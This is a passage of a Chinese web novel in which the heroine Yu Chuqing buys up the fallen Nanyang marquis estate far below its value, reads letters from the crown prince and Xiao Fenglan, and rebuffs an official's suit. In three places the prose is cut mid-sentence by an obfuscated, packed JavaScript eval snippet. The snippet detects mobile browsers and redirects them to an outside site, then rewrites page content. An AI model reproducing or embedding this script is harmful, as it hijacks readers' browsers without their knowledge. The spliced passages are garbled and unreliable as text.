但,其实他对这个推断,并不十分肯定。 她原本是想站太子这边的,但最近的事让她有了危机感,已经开始犹豫、踟蹰了。 太子和皇后,他们把一个强有力的助力,无形中推拒了。 喻初晴微笑着回答:“差不多吧。” 帮萧风岚,也相当于帮太子。 关键她去,也并非完全是为了帮萧风岚,而是想距离近一些,能帮就帮,尽量不留遗憾。 有句话叫做:你说你爱我,其实你爱的是自己的意志。 她帮萧风岚,只是为了让自己心里好受,顺带帮了萧风岚。 人不要总觉得自己施恩了,别人应该报答。 一旦人的想法这样清晰透彻,也就没多少痛苦了。 萧风岚对她好,她便回馈。 君若无情我便休。 倘使某一日他变了,她也会毫不犹豫地斩断关系! “晴晴。”喻昔词微微蹙眉:“大哥看不透你。” 喻初晴垂首失笑,反问:“那么大哥为什么一定要看透我呢?有所求,就可能求不得,求不得是人生八苦之一。” 喻昔词可不是好打发的人:“你原来是想拥护太子的,但近期……我有种直觉,你的想法发生了变化。因此,你若专门去交战区帮他,我觉得可能性不大。” “大哥是个聪明人。”喻初晴非常肯定这一点:“我的确有了新的想法。” 喻昔词用肯定的语气说道:“因为皇后。” “嗯。”喻初晴也没有回避这个问题,说道:“因为皇后,但也是因为萧景明本身。我不喜欢把自己的命运掌握在别人的手里,如果说他喜欢我,能够理智地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581345|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜欢,在我拒绝之后他潇洒放下。那我会继续拥护他。” “反之……”喻昔词明白了她的意思:“你觉得他过分执着了,会给你带来危机。” 喻初晴肯定地道:“没错!人一旦执着于某件事,容易钻牛角尖,求不得可能会黑化。到时候本该获得从龙之功,这功劳却成为我的枷锁,他成了九五之尊,若想一些不应该的事,岂非很容易做到?” “晴晴聪慧过人。”喻昔词也是万分佩服。 她把人性剖析得如此直白,感觉她不像是个医者出身的,而是治疗人心的! “但是呢。”喻初晴仰头,对上高大威猛的大哥的双眸,道:“响马盗的事必须解决!不仅仅是因为百姓受苦,还有一个更重要的原因!” 喻昔词立即接上:“响马盗幕后的势力,其实还在京中,很大的可能是太子的竞争对手!” “是。”喻初晴肯定说道:“如此种种,都是奔太子来的。所以必须解决掉这件事,把幕后的人揪出来。因此,暂时我还是帮太子的。否则……这个人迟早会影响到我!” 这也算未雨绸缪,她跟太子是利益共同体。 跟萧景明本人无关。 甚至,与萧风岚也无关。 重点还是:那个幕后主使宛如一颗不定时**,谁也不知道什么时候回**,到时候把她给炸着了! 所以,不如她来做这个拆弹专家! “好。”喻昔词听她这样说,便道:“你放心,大哥会尽可能配合你的计划。” 他甚至非常肯定:“我们会在夏河以北暂住,等战局结束,尚武与我们会合。” “谢谢大哥体谅!”喻初晴冲他一笑。 有一说一,大哥确实是个家族继承人,总想把所有人的事都打点好。 她感激他的关爱,但,也不想被管得太多。 但好在呢,喻昔词非常讲理,只要好好跟他说,很多事都能谈妥。 出京南下的路线,喻初晴不用担忧了。 次日一大早她便起床,让合欢木棉给自己梳妆打扮。 南阳侯府的匾额,她来了! 第150章 准备来收战利品了! 喻初晴平时衣着不喜欢高调,尽管符合她县主的身份,但金银珠宝是尽量俭省。 主要是滴滴吊吊的东西太多,要过分注重仪态,生活很不方便。 但,今天是个大日子! 木棉给她上了个妆,尽管十七岁少女正是花季,不化妆也是丽质天成。 但,化妆和不化妆还是有区别的。 正常时候她的眉峰是比较倾向于柳叶眉的,看上去很是温婉大方美丽。 今日,她画了个显得比较锋利的飞眉。 唇脂用的颜色,也是深红。 木棉给她打扮好了,看着镜子里的喻初晴,笑道:“县主平日是不动声色的美丽,一旦往艳丽的方向来打扮,我看啊,那建安公主都没有县主有威仪呢!” 喻初晴也看着自己的烈焰大红唇,笑道:“建安多少是被皇后宠坏了。嚣张跋扈,却没有任何谋算。出身皇家如此,皇后得势她便尊贵;一旦皇后失势,她必死无疑!” 她没继续这个话题,站起来,让合欢将红底金线刺绣的大袖宽袍披上。 正打算出门,见腾云拿着信进来:“县主,有两封信!” 一封是太子的。 另一封没有收信人的名字,只在封皮上写着“山市晴岚”四个字。 封口的火漆,是一个绚丽的彩虹色。 这么骚包的颜色,一看便知:是萧风岚的! 晴岚。 那个绿茶小公举,惯来喜欢把他自己放在她的后面,尊重她的大女子主义,甚至愿意放下自己大男子尊严托举她! 她先撕开火漆封口。 是一封简信,字迹也是相当潦草的。 倘使在安全的环境,他喜欢洋洋洒洒,一写就是三五页。 如今他所在的环境不足以让他长篇大论,便只能长话短说。 信中的内容大概是:太子到了前线指挥作战,他已经派人与太子联络上了。另外,问她的近况,问南阳侯府搞完没有。 明知她不会回信,他还是惦记着问。 喻初晴心想:很快就要南下了,他的处境本也危险,那就不回信了。 “拿去放进信匣。”她把信装回信封里,递给合欢。 紧接着,拆开太子用金漆封口的那封。 这封信里主要说的是目前响马盗的动向,以及双方进行了第一次交锋,他这边得到内应的情报,打赢了第一场战役。 这种事,本不该写在给喻初晴的信里,既然写了,多半是有些邀功的意思。 而喻初晴的重点,却放在“内应”相关的那几句。 结合萧风岚的信,应该是太子还不知道萧风岚就是那个内应! “拿去放起来。”看完了,喻初晴还是把信交给合欢去存放。 合欢接过来,问:“不回信么?” 喻初晴摇头:“不回。” 现在她对萧景明有所保留,但目前他们是利益共同体,解绑彼此的关系并非明智之举。 所以,她打算等抓到幕后的人再说! 至于怕不怕萧景明突然跟皇帝要赐婚…… 不怕的。 在那之前,她会斩断这把达摩克利斯之剑! 大不了,把萧风岚拿出来溜,曝光他们的关系。 萧景明再厉害,能跟他太叔抢老婆? 皇帝能让自己的儿子,用战功求娶自己小叔叔的相好? 嗯,狗东西的名头还是很好用的,她决心下次见面的时候,要对他和善一点,多说几句他喜欢听的话,奖励一下。 收拾好后,喻初晴便出门了。 南阳侯府。 最近,能变卖的东西,都已经在桑怀安的安排下卖掉,如今南阳侯的内饰,值钱的东西所剩无几。 如今桑怀安也已经没了。 原南阳侯夫人李氏,在接二连三的打击下,终究是没撑住,彻底病倒。 一次又一次的晕厥,对她的身体也是极大的破坏。 身边的嬷嬷来报:“夫人,初晴小姐……哦不,永安县主来了!” 以前只要听说喻初晴来了,李氏都恨不能立刻爬起来,一口一个初晴地喊着。 但此时,她却只是躺在病榻上,干枯着双眼,嘴里喃喃喊着:“初晴……初晴……她还来做什么?” 嬷嬷答道:“人在外面的厅堂坐着呢,县主说,是听说侯府要卖的消息,看在自己在这里住了十七年的份上,想把侯府买下来。” 一听说喻初晴要买侯府,李氏眼里顿时生出了希望之光:“扶我起来!” 是初晴啊! 是初晴要买侯府!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586785|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 太好了,我们有救了! 她立即让人给自己把头发整理了一下,没戴任何首饰,一身简简单单的秋裳,在嬷嬷的扶持下,出来前厅。 喻初晴坐在前厅,喝的是合欢从自家马车上带下来的牛乳茶,侯府管家给她沏的茶,她看都没看。 管家的脸像是被打肿了一样,却丝毫不敢顶撞,只敢轻声问:“县主大人,这茶是您以前挺喜欢的春山茉莉……” “哦。”喻初晴冷淡说道:“那是桑初晴喜欢的,喻初晴已经不喜欢了。” 主要是,不喜欢南阳侯府的。 她都离开好几个月了,在侯府入不敷出的情况下,这茶叶包是去年的! 不是穷困到一定份上,她堂堂的县主,为什么要喝去年的春山茉莉? 管家脸色僵硬。 喻初晴斜眼睨他,忽然觉得好笑,唇角便勾着一抹笑意,问:“管家,我记得那一日他们打算把我赶走,把我叫出来这里,是你去叫的我。” “是。”管家心里直打鼓。 就目前侯府这状况,下人们都走得差不多了。 他不能走,是因为他的月例还没有结给他! 这段时日上门催债的太多,夫人顶不住,把能还上的尽可能还了,嫁妆已经用得差不多了。 至于他的工钱,便只能仰仗着卖掉侯府才能给。 总共欠了有七八十两银子呢! 所以,他只能硬着头皮在这里招待永安县主! 喻初晴冲他微笑,轻声问:“我还记得,你当时那个白眼,一知道我不是亲生的,态度立即不同了。目送我即将去乡下做农女,当时你心里是怎么想的?” 白眼二字,好像在管家脸上扇了一耳光! 他的脸色刷得白了,好在当下人的,能屈能伸惯了:“是小人有眼无珠,还请县主大人原谅则个。” 喻初晴没有跟一个下人计较。 人,捧高踩低是常有的事,计较不过来那么多。 只要没有谋害过她的,嘲讽几句也就差不多了。 合欢低声提醒:“县主,侯夫人……桑夫人来了。” 李氏从外面走进来,怔怔地看着喻初晴。 “初晴?” ——以后日更时间改成中午,望悉知,莫跑空。 第151章 差点笑出声! 艳丽的妆容在她脸上,红底金丝刺绣的县主服制,让她看上去华丽高贵又端庄。 这是李氏从未见过的喻初晴! 她愣了愣。 一只手让嬷嬷搀扶着,她疾步迈进门槛朝喻初晴走过去,忍不住掉眼泪:“初晴……” 喻初晴抬眸,并没有立即放下手里的牛乳茶,而是又喝了一口,才开口:“侯夫人……哦,南阳侯的侯爵已经被褫夺了,如今应该称呼您桑夫人。” 何止是褫夺侯爵,甚至他们都被贬为庶民,要流放,还是罪籍! 是罪民! 夫人这个称呼都不是很合适,如此称呼已经是最大的体面。 李氏眼泪吧嗒吧嗒掉,走过去便扑在喻初晴的怀里,痛哭:“初晴,是母亲错了!” 她扑过来的时候,合欢本想帮忙阻拦的,喻初晴给了一个眼神阻止了。 喻初晴坐在椅子上,李氏半跪着趴在她的腿上。 向来是女儿趴在母亲的膝头,这哪里是一个当母亲的人会有的姿态? 完全颠倒! 喻初晴任由李氏在自己怀里哭,冷漠地问:“哦,错哪儿了?” 李氏以前绝对不会去思考这种问题,她历来是随波逐流、逆来顺受的。 而如今经历了家破人亡,这些天在病榻上,“后悔”两个字在她脑海里盘旋了无数次! 夜里睡不着,白天打瞌睡也是一会儿一会儿。 这一折磨,铁打的身体也熬不住。 她肉眼可见地衰老,至少比喻初晴在打理侯府的时候,要老了至少十五岁。 明明四十岁不到,看上去跟五十多差不多了! 她仰头看着喻初晴,哭得像个老baby:“我不应该什么都不管,任由你父亲……任由侯爷……任由老爷他们,非要把你给赶走的!晴晴,我早知道侯府是靠你存活,可我太软弱,我被老爷欺压了二十余年,早就没了血性。我护不住你,我无能啊!” 这话倒是不错。 桑家所有人,做的最大的错事就是:裁员裁到大动脉! 喻初晴神色冷漠。 在艳丽的妆容下,这种冷漠确切说,是冷艳! 她声音也不复以往的温和,不再是从前会面带笑容温声细语,而是沉冷:“事已至此,说这些有什么用?我扇你一巴掌,再说后悔不该这样做,你也不能接受!” “是啊。”李氏在失去了所有依靠,不得不自己一木独撑了。 这时候,她好像才终于从依附男人的梦里醒过来—— 哦,也不能完全说是依附男人。 她是只要能依附,是个人都行,典型的菟丝草、藤蔓植物,靠自己无法立起来。 李氏眼神暗淡,怅然说道:“婆母**,老爷自缢在牢里,老大死在流放途中,老二老四和阿雪被斩首。偌大的侯府,只剩下我跟断腿的老三了……” 这话说得,好不凄凉。 可怜之人,必有可恨之处! 喻初晴忍不住有些好奇,问:“你夫君自缢牢中,京兆府没把尸身送回来么?” 李氏叹息一声,道:“是我不让他们送来这里,而是把老爷的尸骨直接放到桑氏宗祠去了。毕竟这侯府要卖掉,接二连三的丧事,不吉利,会损了价钱。” 喻初晴:“……” 差点笑出声! 桑文柏若是听到这话,怕是要气疯吧? 从前的南阳侯何等自傲,结果死后却这样贱! 怕损了侯府的价格,在监牢里**后,遗体都不能回到这里来,只能存放在祠堂。 又听得李氏念叨:“老大的尸骨,我花了点银子找人帮忙,让偏房的堂兄弟赶过去,就在那儿安葬了。” 喻初晴默默听着,没去提醒她:从人性的角度分析,安葬是不可能安葬的。 桑怀民那个人在家族中,历来不得人心。 以前他就得罪人,仗着自己主支嫡长子的身份,居高自傲、看不起堂兄弟他们。 如今,经过这一大家子蠢驴不断作死,不仅把侯府作没了,还连累了旁支! 换了她,会忍不住想给桑怀民分尸,头颅埋茅厕、屁股埋烂泥坑。 还想安葬? 笑话! 但她懒得提醒李氏。 李氏又道:“怀安怀盛,还有……” 她看了一眼喻初晴莫测的脸色,终究没说出“阿雪”两个字,接下去道:“我命人去问过了,据说是差役好心,帮忙拉去乱葬岗入土为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586786|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安。不是我不想把他们弄回来,葬入桑家的祖坟,实在是我病得厉害,这件事又找不到人帮忙。树倒猢狲散,家里那些亲戚……都退避三舍!” **已经够晦气了,还跟**犯沾上关系,并不是给银子就能解决的。 换句话说:给的不够多! 如今的她,拿不出更多银子了! 而到了李氏如今的状态,她也的确有心无力。 喻初晴心道:那尸体又不是真正的桑怀安桑怀盛,你还是别浪费力气葬他们进祖坟吧,本来桑家的列祖列宗,就被这群不肖子孙气得棺材板都按不住了,你再把几个不是真正姓桑的葬入祖坟,怕是要炸坟呢! 她不说话,李氏只好自己说:“初晴,我们是一定要被流放吗?” 喻初晴居高临下地垂眸看着她,问:“你是想让我帮你,让你不用被流放吗?” 李氏没敢说“是”,但眼神已经表达了这个意思。 “不行。”喻初晴果断拒绝了:“不是我不想做,是我做不到。这是圣旨,我跑去求情等于抗旨不尊。到时候不但捞不动你,搞不好流放的三千里风光,也在等着我、等我爹娘、哥哥弟弟他们一起去欣赏呢!” 这话说得好不讽刺! 即便是李氏目前傻不愣登的状态,也听出来了。 她的泪水又来了,忍不住问:“初晴,你说过愿意为我养老送终的……是不是不作数了?” “是。”喻初晴坦然说道:“我的确说过,所以到时候流放途中我会命人去打点,跟着过去那边,以后你的温饱我都会负责。” 她负责的是:温饱。 保证李氏饥有饭食、寒有衣穿。 享福,自然是没有的! 李氏懵住了:“这样……吗?” 喻初晴本就想好了:桑家有些帮助过她的人,她都会打点好,只要他们不作死,在失去富贵之后,还能平淡过完一生。 李氏也会跟他们一起。 多余的,她没有心,也没有力。 更没有义务! “桑夫人,我们来谈一下侯府的买卖吧。” 喻初晴觉得看戏看得差不多了,便转换了话题:“这侯府已经是个空壳了,你打算卖多少银子?” 第152章 哄骗小红帽的大灰狼 “这……”李氏犹豫了一下。 先前桑怀安说是至少要两万的,经过了这么多事,那几个买家也都撤了——包括五千的那个! 刚刚办了丧事,家破人亡的府邸,还有谁跟买呢? 更何况,京中的权贵惯是会见风使舵的,桑家与永安县主是对立关系,永安县主是太子那边的人。 这时候买了侯府,岂非无形中得罪了永安县主? 而跟太子对立的那些人,根本看不上这破侯府。 现在,李氏是完全不知道行情,只得问:“初晴,你说呢?” 她心想:能不能要一万? 偌大的侯府,一万两银子当真是贱卖了! 但,侯府就剩下个空壳,花木也无人打理,经过一个夏季,早已经野蛮生长。 不管是什么人买了这座府邸,进驻之前都要大肆修缮,那也是要花费好大一笔银子的。 谈到买卖,喻初晴是一点儿也不会手软的。 她开口:“我愿意买下侯府,就当是为我十七年的回忆做个纪念。但在商言商,我不可能出很多银子,只是买一个回忆——并且,有些回忆也不怎么美好,还是看在你养育我十七年的份上,愿意给你这个面子。” 李氏还趴在她腿上,仰着头怔怔地看着她。 一时之间,分不清谁才是“女儿”,谁才是“妈”! 喻初晴又道:“并且,我虽然有一些积蓄,但也都投出去做买卖了。一时之间你让我拿很多银子,我是拿不出来的。” 她叹了一口气,道:“夫人应该还剩下一些嫁妆吧?再把卖了侯府的银子拿上,给被侯府牵累的大家伙儿每个人分一点,也是应该的,对吧?” “这……”李氏没想过要分给其他人。 经过她这一提醒,突然想到:她不想分,但他们能愿意? 这几日他们已经轮番上门,搞得她筋疲力尽,每天不是在“真晕”就是在“装晕”的路上! “这是你们的事。”喻初晴道:“我管不了侯府的事,只能表明我的诚意。” 她开口:“我只能拿出三千两银子,毕竟这侯府只是个壳子了!” 这话一出,包括李氏、嬷嬷、管家在内,所有人都是一脸震惊! “太少了!”李氏脱口而出。 她撑着身子起来,看着喻初晴道:“初晴,你……你这不是趁火打劫么?” 不想,喻初晴竟然坦率承认:“是!我就是在趁火打劫!” 李氏怔住。 怎么有人能把这种话说得如此坦荡荡的啊! “我说了,在商言商,我不是在做善事,而是觉得有价值才愿意去做这件事。而侯府,我可买、可不买。要买,就一定要很划算才行。” 喻初晴淡淡一勾唇,道:“马上就七月过半了,天气会越来越冷。早点上流放的路,会比临近冬日要舒坦许多。再说了,流放的时间不是你们能决定的,倘使早点把侯府出手,把桑家的所有田产与铺子都尽快出手,将银子攥在手里,总比砸在这里长草要好吧?” 李氏怔怔听完。 她从前就是什么都听喻初晴的,喻初晴有主意、有头脑、有魄力。 哪怕在这种时候,都不得不承认:初晴说的很有道理! 不尽早出手,难道要便宜了别人吗? 时间长了,还留在京中的桑家旁支,迟早会霸占这些东西。 贱卖了,都比被他们霸占了好! 到了现在,自己都过不好了,她还能顾得上谁? 李氏是自私的,惯来如此。 她很快就被喻初晴洗脑了,道:“那你的意思是,不仅仅是侯府,也要把铺子那些,全都买下来?” “可以。”喻初晴颔首:“但得是我出得起的价钱,才能买。” 她从前打理侯府中馈,知道桑家有多少田亩、庄子与铺子,市价值多少银子,售价打折也能卖多少。 前段时日,桑怀安已经卖掉了一小部分。 但还剩下大半,价格谈不拢出不掉,桑怀安就凉凉了。 现在,她可以一口全都吞了! 毕竟—— 桑怀安还偷偷活着,活下去就需要银子。 她要他即便还活着,也没有任何经济基础支撑。 毕竟,桑怀安以后躲在暗处,百分百是要对她放冷箭的。 她要切断他所有退路! 李氏当即道:“那你看看账本,觉得能出多少银子就出多少吧。” 顿了顿,她又说了一句:“初晴,我是信得过你的。你……不会让我很难过的,对吧?” 喻初晴想笑。 以前,李氏的确是很信任她的。 李氏自私归自私,不曾为任何一个孩子刚强过,没为她争取过。 但在没逼到一定份上的时候,她照顾儿女还是很用心的,是真心相待、周到细致的那种——只要利益不冲突,就是好母女! 原主的确承受了十二年的养育之恩,而喻初晴来的时候才十二岁,虽说已经不用怎么照顾了,但,是得了李氏的信任,她才能一步步走到今天。 这也是不管李氏无论如何自私,她都会给李氏一个善终的原因! 但,谈钱就伤感情了! 她行商历来果断,绝不拖泥带水,此事也一样。 当即叫人把账本拿出来,大概扫过剩余资产,喻初晴在算盘上敲敲打打了一会儿。 旋即,给出了她认为足够有诚意的价格:“侯府以及桑家剩下的所有田产与铺子,全部,我出一万两银子,若你愿意马上成交,今日就去过户!” “什么?”别说李氏,就是嬷嬷和管家,都懵住了。 他们不敢相信自己的耳朵! 嬷嬷惊道:“那么多,先前二公子估算过,按市价要值得十八万两银子的吧!” 喻初晴挑眉。 十八万两银子,好熟悉! 哦,是上次桑怀民公然勒索她的。 啧啧,桑怀民死都没想到,自己家被桑怀安卖剩下的,还有十八万两吧。 还真的是,瘦死的骆驼比马大。 桑家剩了个空壳,流水上没钱,但所有的东西卖一卖,富足过一生也是可以的。 但! 她喻初晴,就出一万两! “这……”李氏再没有主意,也知道这个坑太深了:“初晴,我已经这么难了,你……就不能多给点吗?” 喻初晴说道:“一,我拿不出更多现银了。二,你是知道我的人品的,银子在我这儿管着,总好过你拿在手里被别人哄骗走、抢夺走。夫人,你能保证在流放途中,保得住你剩余的嫁妆、以及上万两银子?” 此时的她,好像哄骗小红帽的大灰狼! 第153章 把匾额,给本县主拆下来! 但怎么说呢。 喻初晴虽然有哄骗嫌疑,因为她想要把价格打下来。 一万两,买市价十八万两的东西,怎么能不用一点手段呢? 可,换一方面说,她也真的是为李氏好! 如她所言,银子在她手里,她犯不着吃李氏的便宜,反而能更好管控这些银子,免得被旁支抢夺。 在流放途中,也不会被人盯上。 钱财露白,死得快! 日后李氏去了流放地的日子,还是要打点的,到时候她会帮李氏打点好,让李氏后半辈子过得安安稳稳——便用这些银子! 李氏还是有些踟蹰:“我……能不能考虑一下?” “嗯,可以。”喻初晴没有逼进一步,反而还退了一步:“不过,我一会儿就要回府了。我爹娘他们要带我南下回祖籍,让我认祖归宗。如果我不在京中,买卖肯定就谈不成了。” 李氏气息一窒。 她为难地道:“初晴,要不……你再加点儿,行不行啊?” “行。”喻初晴很爽快:“一口价,一万二千两!成就成,不成就算了。我也不是非买不可的。” 但,李氏非卖不可! 重点是,她卖给别人也许能拿到比这更高的价格,可人家售后无保障啊! 李氏再三思考下,又跟喻初晴磨了好久。 最终,以一万五千两的价格,喻初晴拿下了市价十八万两的所有资产! 为了避免夜长梦多,李氏配合喻初晴,当天过户。 永安县主的名头多么响亮,户籍部门很是爽快,给她们开了绿灯,一路直通车,当天就给把所有手续都跑完了! 在现代都不一定能这么快! 事情办完后。 “从现在开始,这座府邸,就是我的了!” 喻初晴站在南阳侯府门外,一挥手:“把匾额,给本县主拆下来!” 早就准备好的工匠,快速上了梯子。 “砰”! 南阳侯府四个字的匾额,从门楣上砸了下来,砸起一大片灰尘! 工匠们抓紧时间清扫干净门楣,将新做的匾额挂了上去—— 喻府。 喻初晴唇角勾着一抹笑意,转头对一直陪着她跑来跑去的喻昔词说道:“大哥,小妹不才,给咱家新增了一处房产。请进!” 她提着裙摆,一脚踩在了那匾额上! 迈步,左脚踩着“南”、右脚踩着“阳”的金漆大字,她华丽丽的六米裙摆旋出漂亮的花,将南阳侯三个字笼罩。 跨过门槛,进了这座如今属于她的府邸。 这是她的战利品! 看出她脸上难得一见的自得,略显稚气,喻昔词刚硬的脸上露出笑意:“好!” 他的皮靴子也踩上了“南阳侯府”的匾额,擦过的时候,还用力碾了碾。 喻初晴重新进门后,便让合欢将原南阳侯府的下人清理干净。 忙里忙外的木棉急匆匆走进厅堂,道:“县主,好多先前被桑夫人辞退的下人都来了,说是知晓如今南阳侯府易主,想求县主给个差使。” 喻初晴讶异地挑眉,很快就做出决定:“你和合欢商量,先选一个靠谱的管家,挑一些靠谱的人。喻府这边不需要太多人手,只需要有人将府邸打理干净就行了。等数月后我们回来,到时候如有需要再说。” 跟了她几年,木棉一听就懂:“是!” 划重点:靠谱的人! 自然是从前县主还在侯府的时候,对县主好过的人! 喻昔词站在厅堂内,正在看这府邸的装潢,道:“依我看,这府邸全部都要翻新一遍,实在是太旧了。” “那就交给大哥了?”喻初晴顺水推舟似的道。 喻昔词回头看她一眼,笑道:“交给我就交给我,难不成做大哥的还能拒绝你不成?” 因为喻昔词提出想去她从前住的院子看一看,兄妹俩便在侯府——喻府内逛了逛。 “从前……”他问:“你在侯府过得还好吗?” “还行。”喻初晴坦然道:“虽然他们每个人都有不堪的一面,但以前没有什么利益冲突的时候,日子也就还行。” 凭良心说,原主过的十二年,不能说幸福,但也不算差。 毕竟一个小女孩,可能被南阳侯看不上,但不管怎么说也是家里唯一的女儿,不得宠、也没受虐。 侯夫人就这么个女儿,不说当宝贝,平日也是日日带着的。 至于原主为什么会死…… 也并非被害的,或许该责怪这一大家子的疏忽,原主跌落池塘溺毙,竟然没人发现。 当她穿越过来,自己游上岸,才有人知道这件事。 但原主已经没了。 几日后,喻初晴就不动声色地把自己院子里的丫鬟全部撤换,自己去牙行挑选了合欢木棉,后来又招募了腾云覆雨四人。 她们照料她的起居,她则是教她们做人做事,直至现在。 也是因此,她对桑家人,从来没付出过多深的感情。 “后来有利益冲突,他们的嘴脸就浮现出来了?”喻昔词从她的话里,得出这个结论。 喻初晴失笑:“是这样没错。我以前忙得很,除了打理中馈,学习经商以外。自己要读书、练武、学医……后来,雎宁郡主和薛小姐两人尽可能拿出所有积蓄,投资我经商,我要做的事就更多了。” 说到来时路,她脸上的笑容还是很有成就感的:“当年毕竟年岁太小了,起初自己做还是一团乱,差点赔得血本无归。后来一次偶然的机会,救了钱大掌柜。也是巧了,他正巧祖传经商,因为家中被奸人所害失去所有,我让他留下来帮我,他果然有强大的天赋。” 没有钱利来,她也不可能这么快就发展到今天的台阶。 没有她赏识、支持,钱利来也无法报仇雪恨。 一切,都是相辅相成的。 不是凭她个人英雄主义,就能站在高峰。 “晴晴真的很强。”喻昔词比谁都能对她感同身受:“大哥十二岁回了家族,当时祖父为了考验我,便是丢给我几百两银子,让我自己去外面经商赚钱,当五百两变成五万两的时候,我才算合格,才能回去打理家族的商行。” “哦?五万两!”喻初晴笑道:“大哥真厉害!” 兄妹俩现在多多少少有点惺惺相惜! 说着说着,渐渐日暮。 二人决定回县主府。 孰料刚出来,又遇见了苏祥。 第154章 我家里要给我说亲了 这一次他倒不是独自一人的,而是领着五城兵马司的一群手下,巡逻经过。 看上去就是巧遇! 见到喻初晴从南阳侯府里出来,苏祥挥手让手下先行离开,走上前去:“永安县主好!” 又朝喻昔词颔首:“喻兄!” 喻昔词微一点头,没说话。 “苏副指挥使好。”喻初晴礼貌回应:“你这是……办差呢?” 苏祥笑道:“是的,刚巧经过。” 他看了一眼门楣上挂着的“喻府”匾额,问:“县主把侯府给买下来了?” “是的。”喻初晴想了想,转头对喻昔词道:“大哥,你先去马车上等我,我想与苏副指挥使谈点事。” 喻昔词颔首,朝苏祥颔首为礼后便转身离去。 用现代的话来说:身为大哥,靠近自己妹妹的男的,看谁都像黄毛! 不放心肯定是不放心的,但他在心里告诫自己:要相信晴晴的能力! 没回归喻家之前,她就已经八面玲珑、长袖善舞了。 区区苏祥! 喻初晴目送他的背影,转头回来,对面露诧异的苏祥说道:“苏副指挥使,请移步进府内。” 苏祥不知她想说什么,但这是很好的往来机会,他自是不会拒绝:“恭敬不如从命!” 两人进门,在厅堂上坐下,合欢去沏茶送过来。 喻初晴微笑道:“刚收的宅子,一应物件尚未准备就绪。粗茶一杯,还望不弃!” 苏祥忙道:“县主谦虚了。” 他问:“县主是有什么事与苏某说?” 有种直觉,喻初晴要说的,不会是什么好事。 果然,喻初晴没有任何拐弯抹角,直接进话题:“日前,皇后娘娘曾问我,对太子的看法。” 不管苏祥是怎么想的,她按照自己的节奏说下去:“我明明白白告知皇后娘娘,我配不上太子殿下。” 苏祥这样的出身,做到如今的地位,他又岂能是愚蠢的? 当即明白她的意思:“听说殿下心悦于你。” 自从桑雪在乞巧宴上闹的那一出,这件事已经不是秘密了。 “心悦谁,是殿下的事。”喻初晴并无半分得意,说道:“喻初晴无德无能,回应不了殿下。” 顿了顿,她抬眸与苏祥对视,道:“过几日我要随父兄回祖籍,依父兄之见,我也该说亲了。” 苏祥一听,保守说道:“不知喻家相看的是什么样的门户?” 未竟之词:不知在下是否有这等荣幸? “喻家门户微末,看的自然也不是什么高门大户。”喻初晴笑得乖巧:“这种事,多半还是家兄帮忙把关。” 不是高门大户,相当于把苏家排除在外。 她拿太子的倾慕做筏子——总归这件事已经传扬开了——旁敲侧击地告诉苏祥:我不想回应太子的感情,自然也不会跟你如何。 苏祥听言一愣,旋即苦笑道:“县主当真是……聪慧过人。看来,苏某是没希望了?” “苏副指挥使对我并非男女情思。”气氛烘托到这儿了,喻初晴挑开了说道:“皇后娘娘有些想法,我大概能猜得出来。苏副指挥使是少年英才,初晴也是十分钦佩。但若是从娘娘那些想法出发,初晴只能说声抱歉。倘使我愿意接受娘娘的好意,当时殿下私下求亲的时候,就已经答应了。” “我明白了。”苏祥对喻初晴有赞赏,皇后找他谈这件事的时候,他想过不太妥当,毕竟这是太子喜欢的人。 处理不好,表兄弟失和,就不妙了。 皇后太异想天开,把人的情感剔除去谋算,是要吃亏的! 只不过,皇后要求他做事,他也无法抗拒。这才顺着皇后的意思前去找喻初晴,也是为了交差。 总归,倘使他能娶到永安县主,他觉得是自己高攀了——她的才智能让皇后赏识,可见其优秀。 但,被拒绝他也不至于难过,反而是很爽快地道:“苏某明白县主的意思了,县主为人处世是真妙。” 喻初晴见他的态度不错,笑了下,道:“不管怎么说,我很愿意交苏副指挥使这个朋友。至于皇后娘娘的想法,你也不必去回绝,以免驳了娘娘的面子。待来日我成了亲,这些事自然也就不了了之了。” “多谢县主体谅!”苏祥抱拳。 旋即又问:“县主莫非已有意中人?” 一般的女子,是很难拒绝储君求亲的诱惑。 今日的太子妃,来日的一国之母、皇室宗妇,她又不是没有能力坐稳位置,竟丝毫不动心! 并且,萧景明无论是样貌身形,还是学识气质,也都是上上之选。 可喻初晴却拒绝得很彻底。 他很好奇:什么样的天神下凡,才能让她喜欢? 当然,苏祥不会知道,喻初晴是罕见的不慕强的女人。 看男人,她首先要人好看、最好那方面能力强; 其次要听话、懂事! 只要对方能入她的眼,她可以养着对方后半辈子、让他在家相妻教子! 纵观整个帝京,能符合她喜好的,怕是找不到几个。 